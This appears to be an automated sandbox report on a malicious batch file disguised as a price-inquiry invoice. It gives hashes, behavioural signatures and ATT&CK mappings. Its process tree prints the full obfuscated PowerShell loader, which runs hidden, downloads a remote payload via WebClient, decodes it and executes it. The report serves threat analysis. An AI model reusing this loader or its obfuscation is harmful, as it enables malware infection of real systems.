7de13a9108d510ad39087daae6c4f2c0a23972f3760962b805a08ca4c79e0954

Analysis

max time kernel
146s
max time network
147s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
16/07/2024, 05:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

FV-452747284 INTERPLUS Zapytanie o cenę arbejdsmetodes.bat
Size

6KB
MD5

4eeae7ac7c9b2b2f6585cbfdb82ffd89
SHA1

7978841d26d2be27f6b873a6b3fca3bd999329aa
SHA256

96510f0af47cb70914f106bd98fc99b4a5f782c744dbe587368f8614565a6f47
SHA512

149edad5906d359b943d24f900c868dca0a65aa305dd571c1cfa28e6eeaec654109ad7013d5ba149fd40c341ac50ff3510297bf390a70269faeb2244a8f5f31c
SSDEEP

96:gv/UAWv/UAV1161kylTQdpXxJnSI4ceniGcdZYi8KqYdoTZDm3xMtt8ln9Ex61MV:icHc81xqQTXP/uiG6D8KqYdo1exMzoYV

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 58 IoCs

flow	pid	Process
5	2416	powershell.exe
6	2416	powershell.exe
7	2416	powershell.exe
8	2416	powershell.exe
9	2416	powershell.exe
10	2416	powershell.exe
11	2416	powershell.exe
12	2416	powershell.exe
13	2416	powershell.exe
14	2416	powershell.exe
15	2416	powershell.exe
16	2416	powershell.exe
17	2416	powershell.exe
18	2416	powershell.exe
19	2416	powershell.exe
20	2416	powershell.exe
21	2416	powershell.exe
22	2416	powershell.exe
23	2416	powershell.exe
24	2416	powershell.exe
25	2416	powershell.exe
26	2416	powershell.exe
27	2416	powershell.exe
28	2416	powershell.exe
29	2416	powershell.exe
30	2416	powershell.exe
31	2416	powershell.exe
32	2416	powershell.exe
33	2416	powershell.exe
34	2416	powershell.exe
35	2416	powershell.exe
36	2416	powershell.exe
37	2416	powershell.exe
38	2416	powershell.exe
39	2416	powershell.exe
40	2416	powershell.exe
41	2416	powershell.exe
42	2416	powershell.exe
43	2416	powershell.exe
44	2416	powershell.exe
45	2416	powershell.exe
46	2416	powershell.exe
47	2416	powershell.exe
48	2416	powershell.exe
49	2416	powershell.exe
50	2416	powershell.exe
51	2416	powershell.exe
52	2416	powershell.exe
53	2416	powershell.exe
54	2416	powershell.exe
55	2416	powershell.exe
56	2416	powershell.exe
57	2416	powershell.exe
58	2416	powershell.exe
59	2416	powershell.exe
60	2416	powershell.exe
61	2416	powershell.exe
62	2416	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2416	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2416	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2416	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1056 wrote to memory of 2416	1056	cmd.exe	29
PID 1056 wrote to memory of 2416	1056	cmd.exe	29
PID 1056 wrote to memory of 2416	1056	cmd.exe	29
PID 2416 wrote to memory of 280	2416	powershell.exe	31
PID 2416 wrote to memory of 280	2416	powershell.exe	31
PID 2416 wrote to memory of 280	2416	powershell.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\FV-452747284 INTERPLUS Zapytanie o cenę arbejdsmetodes.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "cls;write 'Decisionen Landbrugsmssiges Sapremia157 Tandemcykels nucleli Isopropenyl Albatroserne Granden Udbredes Fluesnapperen Sideloebende Ernestines Karakterbristernes Unprejudice Udsigelsen Moonward Hovedbanegaarde Fremskridtsbyerne Sildigste Readaptable Rendyrkede Opprobriated Protococcal Hjlpefunktioners Decisionen Landbrugsmssiges Sapremia157 Tandemcykels nucleli Isopropenyl Albatroserne Granden Udbredes Fluesnapperen Sideloebende Ernestines Karakterbristernes Unprejudice Udsigelsen Moonward Hovedbanegaarde Fremskridtsbyerne Sildigste Readaptable Rendyrkede Opprobriated Protococcal Hjlpefunktioners';If (${host}.CurrentCulture) {$Cabalismsbryderens++;}Function Antikvitetsforretnings($Rodfunktionerne){$Byggeforetagenders156=$Rodfunktionerne.Length-$Cabalismsbryderens;$Sinecural='SUBsTR';$Sinecural+='ing';For( $Cabalism=4;$Cabalism -lt $Byggeforetagenders156;$Cabalism+=5){$Decisionen+=$Rodfunktionerne.$Sinecural.Invoke( $Cabalism, $Cabalismsbryderens);}$Decisionen;}function Unthrust($Meagrely){ . ($Eksperter) ($Meagrely);}$Antoninas=Antikvitetsforretnings 'DittMCineofutizantiisammlCarblMorpaudny/Illi5fa g.Chec0Subc .ul(UbehW Ae,istrinConvd HanoFr kwNyvlsDiat EmbrNTocoT Gli Conv1 ,dd0Klip.Sena0Bald; S h ForeWR,triRe,ongenn6S,ol4 Opt;.avi Strx,erm6Mod,4Stal; Far BaglrOstevSla,:Inqi1akti2 Fed1.mrk. g,t0,esk)Kamg DebGNatie,atrcskank Rono reh/Vrts2 aft0Komp1 Jrv0ort.0.ini1atla0Ek,k1,nth UdliFTizwiCadirAlomeGenaf,oreoegesxA,at/Omr.1ma,d2Vol 1 Unr.Fort0Home ';$Torumslejligheds=Antikvitetsforretnings 'BigwU Py,sBabbeVarmrDisp-ForeA LaggLutheLysenO.detEl,n ';$nucleli=Antikvitetsforretnings 'Fa,ah nkatDe otFe.lp,borsInhi:No p/Spek/AageeBuescSidsoPsyknOnd,s CuttNipsr EriaResem.tyreHybrdFeroi aanaOve .denacJagaoNondm Ku /UndeT.ncoe.ortgOut,lSinubHvalrClavnHilldEmpoe OddrEnkeiFanteDelerSail.FervsScrinS enpC re ';$Udarte=Antikvitetsforretnings 'Hytt>Sony ';$Eksperter=Antikvitetsforretnings 'GuttiVirke,trexScor ';$Arabin='Granden';$Martinetishness = Antikvitetsforretnings 'Vande H.wcAabehroeroUdtr Dec%S,lda B,upReg,pOv,rd Ek.aProvtD.coaDung%Cavi\,uviCkontoPreduKonsm niaAut rA bea F rtUnheeWelf. autBBe.aiD bbcAl m Sta&Mask& ual heale Ti.c Pl,hVippo Biv SynttL uc ';Unthrust (Antikvitetsforretnings 'Maxi$Em,og .ncl B ioH.rsbSlutaIntel Pol:It,mM,opeeDru.tBegialendl OstiTeltsSkrumSwad= Oms(Reloc.sonmAntedFore Sage/EmbacZibe Efte$DeprMP,ntaUdfrrB,sittissiZircnTu.sePosstSkovi sa sMasshU.banDesiePertsHimmsOver)brne ');Unthrust (Antikvitetsforretnings 'Un t$PopugOdiolNylooH,peb umpabgeblNucl:CranTConca VannO.ttdTo,seOpdrmAp,rcAnisy.etvkUnroeFamilL.ngsG st=,erv$S udnIndsulikvcFriglSatseBastlJakoiIsot. ConsUninpSa.vl hiciAnsttbort( Jer$ nopUCystdAnglaHerirRelit dukeDisp).run ');Unthrust (Antikvitetsforretnings ' ret[D,osNRecre PemtFarb.EnmeS,aboeKlynrVi,tvIkeyiudsvcPremeP ckPUniooDespiBrevnScletK nsM SieaRe snHjemaNonvgKlaseAfter.too] ,is:Paam: SupS St ePanccMicruMilirK.umiWafft irtyArguPMortrpr goBecotCutao BlocBo uoEufolspri C.nc=.ldr Geni[Ret.NKl,ke ertpost.S raS nteeDmp cBayouRgrirColliMorttBibly TilPBis r humoVenttPrteo Q acF nkoBetllUterT RawyUnnepScraeGste]K nd: Rom:SkurTMar lHjems Gul1 Slu2P,as ');$nucleli=$Tandemcykels[0];$Akkompagnatr142= (Antikvitetsforretnings 'Skra$ Ky.g UnflKl bo,nhobTapaaRelalHexa:run.LAtteeDuchntrkas,ydfbBaana.efrr Dr oFanen ProeHaphr MonsAabe=hausNDgndeDankw .ur-KalkO,ehebKredjPr sePrimc TestNont CoedS SnoyHemisDis,tS beeTrkpmSwop.H,stNLadde AartUdle.TrykWNarse Sl,bHj.pCoverl UdliBeroe TvenGlutt');$Akkompagnatr142+=$Metalism[1];Unthrust ($Akkompagnatr142);Unthrust (Antikvitetsforretnings 'se,v$L tlLPsyceFoinnBuresParab Va,aBundr S aoJordnTaute,oler,leksRati.g zpH.illeGrnsaUnded NoneDe.prStems Lg.[Phyt$.sycT tonoForsrUndiuAfs mVelbsPreslFelteLovejCenolCardi FoegSa.ghErhve Le dForus O,e]Revo=Sama$OpbiASkranWhimt Svno U,cnakvaiIsthnUdd aSukks Fun ');$barser=Antikvitetsforretnings 'Elev$AfgiLEccle AponAntrsYpp.b StoaYardrKvleoBangnUnteeKedlr O.es Dob.Em lDFortoK plw .avnAn,alud,ao,ilkaspend.rifF Un.i nylKr,meAnsg(Fl g$ZealnEndruAlvec en,lCa eeCa.alAfhsiSpu,,unde$InteOTe,ipForupTr gr fusoFustbGeorrAr,eiPeriaDirkt Usue RhedI.fo)Nonu ';$Opprobriated=$Metalism[0];Unthrust (Antikvitetsforretnings 'Cohe$H,nkgChenl.paroDiabbelseaDyrelRema: TiqRResse.indcHyphi rketRothe Sno=B.ie(PladTsubieDiaksUnretGrun-DeflPRumlaanaltWenchS.mp Skol$ tr,OSuccppilopantirDemioSammb Pror ini NonaPseltUncoe Tvrd Non)Ax,l ');while (!$Recite) {Unthrust (Antikvitetsforretnings 'Pans$Bilpg AtalAddyoEp cbWalda enilT,eo: OliFGelioCheerAfhrmH.ndgTilriTrafvFun,eSjasrUndee elp=B sa$GodttSi.orBooguCitae Ele ') ;Unthrust $barser;Unthrust (Antikvitetsforretnings '.ropSPrivt,ondaincorMi rtScor- ResSRteblS aseFor,eOp,lpRes Lip.4 ,il ');Unthrust (Antikvitetsforretnings ' tal$Ara gUnofl slaoNedkb ubaArvelAnte:linoRModte,olyc,itriFr.ttCapaebark= Gra( SheTVandeHu.dsUdfrt ,or-UnsiP ermavisstByelhHjer .nt$DecaO CripProlpElmir,nvlo SlabUntirBerriFedta Sprt SimeTangd,ifi)Gend ') ;Unthrust (Antikvitetsforretnings 'Ro,e$Spilg isjlPn.uo PrebOocya RevlAthl:PalmSSealafettpSlutrqu teLipomDomeivirgaRe,i1Dolo5Fler7Ra,n=emot$Brkeg NublMonaoCmrebSteaaBo glOver:C oiLDuk,aAasen VatdUndebD cirSpaduB.lmgS.iss Cazm PyosInstsPr,tilacigGutteUdsus ega+ Noe+T,bu%W ne$ Ri T Homanoncn Ma.d WanegrilmRo.fcNulpyB rokColoe cral ints,eso.Presc MitoBreauFlagnOvert F r ') ;$nucleli=$Tandemcykels[$Sapremia157];}$Hyacint=296268;$Shutterwise=28855;Unthrust (Antikvitetsforretnings 'Mast$GossgPoppl EndoimmabOpska,usel In,:AbraU lbid P sb N.nrSha eCh.mdCoareLuncs ou sge=Pret funkGUdd,eGrattOver-EnspC Arso BlonNasct Akae Klan watSa,t Fuzz$W,tcO.ocupundepDejlrSheaoPalebOsterBud.i.ispaForft FoseAcadd Fo ');Unthrust (Antikvitetsforretnings 'So,r$ MisgThrilTi so.prrbTrada aml.esk:ScypH Antnre.lsFl.geLin,a artvScenlS lkeSkvirFlgb Del=.mpe Sjle[GamoSBagay inisAccotDisseOrthmBa,y.RebuC,oneoA mrn astvJapaeg,rtrForutudre]Mirt: lo:Zo,aF D pr Mono.rotmJoveBProvaJa zs oite Bre6Be.l4InfaSSbeht AnerKooliov rnErytg R.d(Bril$MamlU BesdKes bSikkrEnc,e.ommd.arveMotisbagg),ndi ');Unthrust (Antikvitetsforretnings 'Ub.f$AnjagUmu,lrealoSkanbN tra re,lD kk:,ensEFrotr WelnArkaeNells QuatTraui D,snHov.eCam sBa.t Noe=Film Disr[SojaSOpskyMerlsUnfotNo,seG,ubmGuat.OyesTStdee Cr,xFordt dol.SvarEForln ColcDef,oKvetdHumbiSyltn WalgSe a]Klod:S rv:ProgALivsS venCAposIAnovIFilt.ScarGdokeeRespt .oaSModitSig,r illi kasn GlogLreb(Card$P,ncHD lanFor,scentePopuaSlusv usclDiskeLapirBal )Styr ');Unthrust (Antikvitetsforretnings 'Rumb$ RecgS,lvl PreoVarib N,paAnmelde,i:T.ttzAnthoSv.pb.verlTarde ,krn PlesHi,h=.alv$ UnmE,roorB,ndnRefreBn hsv,sttIndii ThenTe.lePinhsUrim.,ogfs Preu.hrebSporsSurrtSubsrReveiSignn z.ngUdsp(Fo,v$ diaHMessyTr.daOps,cAnslim stn eeltMart,Kont$ Fo.SOughhMit.uUntotFysitHat,eUnmorBu.lw FamiTutrsAdumePlan)Estr ');Unthrust $zoblens;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2416
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Coumarate.Bic && echo t"
    3⤵
    PID:280

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2416-4-0x000007FEF57AE000-0x000007FEF57AF000-memory.dmp

Filesize
4KB

Download
memory/2416-5-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/2416-6-0x0000000002770000-0x0000000002778000-memory.dmp

Filesize
32KB

Download
memory/2416-7-0x000007FEF54F0000-0x000007FEF5E8D000-memory.dmp

Filesize
9.6MB

Download
memory/2416-8-0x000007FEF54F0000-0x000007FEF5E8D000-memory.dmp

Filesize
9.6MB

Download
memory/2416-10-0x000007FEF54F0000-0x000007FEF5E8D000-memory.dmp

Filesize
9.6MB

Download
memory/2416-11-0x000007FEF54F0000-0x000007FEF5E8D000-memory.dmp

Filesize
9.6MB

Download
memory/2416-9-0x000007FEF54F0000-0x000007FEF5E8D000-memory.dmp

Filesize
9.6MB

Download
memory/2416-12-0x000007FEF54F0000-0x000007FEF5E8D000-memory.dmp

Filesize
9.6MB

Download
memory/2416-13-0x000007FEF57AE000-0x000007FEF57AF000-memory.dmp

Filesize
4KB

Download
memory/2416-14-0x000007FEF54F0000-0x000007FEF5E8D000-memory.dmp

Filesize
9.6MB

Download